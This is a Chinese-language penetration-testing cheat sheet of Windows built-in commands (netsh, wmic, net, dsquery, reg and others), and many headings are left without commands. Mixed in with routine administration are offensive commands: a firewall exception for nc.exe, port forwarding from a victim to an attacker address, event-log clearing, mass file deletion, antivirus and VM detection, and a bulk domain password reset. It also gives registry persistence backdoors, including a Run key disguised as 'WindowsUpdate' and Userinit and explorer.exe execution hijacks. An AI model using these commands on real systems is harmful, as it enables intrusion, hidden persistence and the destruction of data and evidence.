windows自带命令使用
windows本身自带了一些程序可以辅助做渗透测试,如:netsh,tasklist,reg等
windows自带命令使用
netsh
查看防火墙状态
关闭防火墙
开启防火墙
重置防火墙规则
自定义防火墙日志路径
添加防火墙规则(允许指定端口通过)
# 允许连入本地的53/tcp端口(正向连接)
netsh advfirewall firewall add rule name="rule_name" dir=in action=allow protocol=tcp localport=53
# 允许53/tcp端口连出
netsh advfirewall firewall add rule name="rule_name" dir=out action=allow protocol=tcp localport
删除防火墙规则(允许指定端口通过)
添加端口进出站规则
删除端口进出站规则
添加程序进出站规则
# enable表示开启
netsh firewall add allowedprogram C:\\nc.exe "allow nc" enable
# disable表示关闭
netsh firewall add allowedprogram C:\\nc.exe "allow nc" disable
删除程序进出站规则
添加端口转发规则
netsh interface portproxy add v4tov4 listenaddress=victim_ip listenport=victim_port connectaddress=attack_ip connectport=attack_port
netsh interface portproxy add v4tov4 listenport=victim_port connectaddress=attack_ip connectport=attack_port
删除端口转发规则
netsh interface portproxy delete v4tov4 listenaddress=victim_ip listenport=victim_port
netsh interface portproxy delete v4tov4 listenport=victim_port
查看所有端口转发的条目
netsh interface portproxy show all
netsh interface portproxy show v4tov4
netsh interface portproxy show v4tov6
netsh interface portproxy show v6tov4
netsh interface portproxy show v6tov6
查看wifi信息
查看指定WIFI明文密码
wmic
远程管理
远程连接
远程执行程序
计算机系统管理
获取域和主机名
进程管理
获取进程列表
创建进程
停止指定进程
删除指定进程(根据pid)
关机
内存管理
获取物理内存大小
用户账户管理
获取登录用户
获取用户账户
修改账户名称
fullname与name是有差别的,name为账户名称,fullname为账户别名
wmic useraccount where name="%UserName%" rename newUserName
wmic useraccount where name="Administrator" set fullname newFullName
锁定用户账户
限制用户修改密码
安装包管理
获取已安装软件
卸载安装包
修复安装
服务管理
获取运行服务
启动服务
停止服务
暂停服务
删除服务
启动服务
启动程序管理
获取启动程序
共享盘
获取共享驱动盘
时区
获取时区信息
域控信息
获取域控信息
系统补丁
获取安全更新
共享资源
获取共享资源
删除共享
文件管理
获取文件属性
文件定位
# 查找C盘下的file_name.txt的文件
wmic datafile where "drive='c' filename='file_name' extension='txt'" get name
# 查找C盘下文件夹包含test的目录下的名称包含file_name,后缀为txt的文件
wmic datafile where "drive='c:' and extension='txt' and path like '%\\test\\%' and filename like '%file_name%'" get name
文件删除
# 删除C盘下所有test.txt文件
wmic datafile where "drive='c' and filename='test' extension='txt'" call delete
# 删除C盘下所有非txt文件
wmic datafile where "drive='c' and extension<>'txt'" call delete
# 删除C盘下test目录下所有非txt文件
wmic datafile where "drive='c' and extension<>'txt' path='test'" call delete
文件拷贝
将C盘test目录下的cc.txt拷贝到E盘下
wmic datafile where "drive='c:' and path='test' and FileName='cc' and Extension='txt'" call copy "E:\cc.txt"
文件重命名
文件夹管理
文件夹查找
文件夹删除
# 删除C盘下所有包含test的文件夹
wmic fsdir where "drive='c' filename like 'test'" call delete
# 删除指定的文件夹
wmic fsdir "C:\\test" call delete
文件夹重命名
获取驱动信息
OS管理
获取操作系统详情
主板管理
获取主板信息
BIOS管理
获取BIOS信息
CPU管理
获取cpu信息
虚拟机判断
判断是否为虚拟机
wmic onboarddevice list brief
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
远程桌面
开启远程桌面
关闭远程桌面
安全产品
获取反病毒产品
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
清除系统日志
清除系统日志
wmic nteventlog where filename="log_name" cleareventlog
wmic nteventlog where filename="system" cleareventlog
网卡
wmic命令参数
| 参数 | 描述 |
|---|---|
| ALIAS | 访问本地机器上的别名 |
| BASEBOARD | 基板 (也叫母板或系统板) 管理 |
| BIOS | 基本输入、输出管理 |
| BOOTCONFIG | 启动配置管理 |
| CDROM | CD-ROM管理 |
| COMPUTERSYSTEM | 计算机系统管理 |
| CPU | CPU管理 |
| CSPRODUCT | SMBIOS的计算机系统产品信息 |
| DATAFILE | 文件管理 |
| DCOMAPP | DCOM程序管理 |
| DESKTOP | 用户桌面管理 |
| DESKTOPMONITOR | 监视器管理 |
| DEVICEMEMORYADDRESS | 设备内存地址管理 |
| DISKDRIVE | 物理磁盘驱动器管理 |
| DISKQUOTA | NTFS卷磁盘空间使用情况 |
| DMACHANNEL | 直接内存访问频道管理 |
| ENVIRONMENT | 系统环境变量管理 |
| FSDIR | 文件夹管理 |
| GROUP | 组账户管理 |
| IDECONTROLLER | IDE控制器管理 |
| IRQ | IRQ管理 |
| JOB | 计划任务管理 |
| LOADORDER | 定义执行依存的系统服务管理 |
| LOGICALDISK | 本次储存设备管理 |
| LOGON | 登录会话管理 |
| MEMCACHE | 缓存内存管理 |
| MEMLOGICAL | 系统内存管理 |
| MEMPHYSICAL | 物理内存管理 |
| NETCLIENT | 网络客户端管理 |
| NETLOGIN | 网络登录信息管理 |
| NETPROTOCOL | 协议管理 |
| NETUSE | 活动网络连接管理 |
| NIC | 网络界面控制器管理 |
| NICCONFIG | 网络适配器管理 |
| NTDOMAIN | NT域管理 |
| NTEVENT | NT事件 |
| NTEVENTLOG | NT事件日志 |
| ONBOARDDEVICE | 母板(系统板)内置普通设适配器设备的管理 |
| OS | 已安装的操作系统管理 |
| PAGEFILE | 虚拟内存文件对调管理 |
| PAGEFILESET | 页面文件设置管理 |
| PARTITION | 物理磁盘分区区域的管理 |
| PORT | I/O端口管理 |
| PORTCONNECTOR | PORTCONNECTOR |
| PRINTER | 打印机设备管理 |
| PRINTERCONFIG | 打印机设备配置管理 |
| PRINTJOB | 打印工作管理 |
| PROCESS | 进程管理 |
| RODUCT | 安装包任务管理 |
| QFE | 快速故障排除 |
| QUOTASETTING | 设置卷的磁盘配额信息 |
| RECOVEROS | 当操作系统失败时,将从内存收集的信息 |
| REGISTRY | 计算机系统注册表管理 |
| SCSICONTROLLER | SCSI控制器管理 |
| SERVER | 服务器信息管理 |
| SERVICE | 服务程序管理 |
| SHARE | 共享资源管理 |
| SOFTWAREELEMENT | 安装在系统上的软件产品元素的管理 |
| SOFTWAREFEATURE | SoftwareElement的软件产品组件的管理 |
| SOUNDDEV | 声音设备管理 |
| STARTUP | 用户登录到计算机系统时自动运行命令的管理 |
| SYSACCOUNT | 系统帐户管理 |
| SYSDRIVER | 基本服务的系统驱动程序管理 |
| SYSTEMENCLOSURE | 物理系统封闭管理 |
| SYSTEMSLOT | 包括端口、插口、附件和主要连接点的物理连接点管理 |
| TAPEDRIVE | 磁带驱动器管理 |
| TEMPERATURE | 温度感应器的数据管理(电子温度表) |
| TIMEZONE | 时间区域数据管理 |
| UPS | 不可中断的电源供应(UPS)管理 |
| USERACCOUNT | 用户帐户管理 |
| VOLTAGE | 电压感应器 (电子电量计) 数据管理 |
| VOLUMEQUOTASETTING | 将某一磁盘卷与磁盘配额设置关联 |
| WMISET | WMI服务操作参数管理 |
tasklist/taskkill
| 参数 | 描述 |
|---|---|
| /s | 指定要连接的远程主机IP |
| /u | 远程主机的用户名 |
| /p | 远程主机的密码 |
| /m | 列出调用指定模块的所有进程,如果未指定则将列出所有模块的进程列表 |
| /fi | 显示符合过滤器的指定进程列表,包括Status(RUNNING|NOT RESPONDING|UNKNOWN),Imagename(任意字符串),PID(任意正整数),Session(任意有效会话ID),SessionName(任意字符串),CPUTime(hh:mm:ss格式的时间),Username(通用格式[Domain\]User,如:nt authority\system),Services(任意字符串)、Windowtitle(任意字符串),比较符有:eq,gt,ge,lt,le,ne |
| /fo | 指定输出格式,如:table,csv,list |
| /nh | 输出不显示标头栏 |
显示所有进程、进程ID、服务
获取远程服务器的进程列表
查看调用指定DLL模块的进程列表
通过条件过滤获取进程列表
# 获取进程ID等于(eq)、大于等于(ge)、小于等于(le)1234的进程列表
tasklist /fi "pid eq 1234"
# 获取所有正在运行的且是SYSTEM权限的进程
tasklist /fi "status eq running" /fi "username ne nt authority\system"
| 参数 | 描述 |
|---|---|
| /s | 远程连接的主机IP |
| /u | 远程主机的用户名 |
| /p | 远程主机的密码 |
| /f | 强制终止进程 |
| /fi | 指定通过过滤器筛选出的进程,过滤器同tasklist上的filter |
| /pid | 指定的要终止的进程ID |
| /im | 指定要终止的进程名称 |
| /t | 终止指定的进程和任何由此启动的子进程 |
停止指定进程
停止满足过滤规则的进程
停止远程主机上的进程
taskkill /s ip /u username /p password /pid 1234
taskkill /s ip /u username /p password /fi "pid eq 1234"
dsquery
通过dsquery命令集根据指定的标准查询目录
| 参数 | 描述 |
|---|---|
| -name xxx | 搜索CN属性值与Name相匹配的计算机 |
| -desc xxx | 搜索描述属性与Description相匹配的计算机 |
| -inactive 2 | 搜索在指定周数内处于活动状态的计算机 |
| -stalepwd 3 | 搜索在指定天数内未更改密码的计算机 |
| -disable | 搜索被禁用账户的计算机 |
| -s server|-d domain | 指定要连接的远程服务器IP或域 |
| -u username | 指定要连接的远程服务器的用户名 |
| -p password | 指定要连接的远程服务器的用户名对应的密码 |
| -q | 安静模式,控制台无任何输出 |
| -limit 0 | 限制显示的条数,0表示所有 |
查找目录中的计算机
# 所有域内计算机
dsquery computer
# 所有满足计算机名称开头为win,描述开头为desktop的计算机
dsquery computer -name win* -desc desktop* -limit 0
# 搜索在指定周数内处于非活动状态的所有计算机
dsquery computer -inactive 3 -limit 0
# 搜索指定天数内未更改密码的计算机
dsquery computer -stalepwd 3 -limit 0
# 搜索被禁用账户的计算机
dsquery computer -disabled -limit 0
# 使用指定账户密码获取远程域内计算机
dsquery computer -s ip -u username -p password -limit 0
查找目录中的联系人
查找目录中的子网
查找目录中的组
查找目录中的组织单位
查找目录中的站点
查找目录中的AD
查找目录中的用户
dsquery user
# 批量重置域内用户密码(username为登录用户名,并非CN)
dsquery user -samid username | dsmod user -pwd new_password
查找目录中的配额
查找目录中的分区
net
net use
建立IPC$连接
删除IPC$连接
将远程主机的C盘映射到本地的Z盘
删除共享映射
向远程主机复制文件
net user
查看用户属性
添加用户账户
激活、禁用账户
删除用户账户
修改账户密码
普通用户提升为管理员用户
管理员用户降到普通用户
net view
查看本地局域网开启了哪些共享
查看指定IP开启了哪些共享
net time
查看本机时间
查看指定IP时间
查看域控时间
net config
查看系统网络设置
net share
查看本地共享
开启共享
删除共享
net start
启动服务
停止服务
暂停服务
net session
查看远程会话
net group
查看域主机名
查看域控主机名
查看域控管理员
attrib
| 参数 | 描述 |
|---|---|
| + | 添加属性 |
| - | 去除属性 |
| +s | 添加系统属性 |
| +h | 添加隐藏属性 |
| +r | 添加只读属性 |
| +a | 添加存档属性 |
隐藏文件
sc
创建服务
配置服务
删除服务
schtasks
创建计划任务
删除计划任务
reg
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
开机自启注册表后门
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
删除
userinit后门
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,powershell代码" /f
logon scripts后门
删除
映像劫持
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v MonitorProcess /d "C:\Users\Administrator\Desktop\payload.exe"
RunOnceEx后门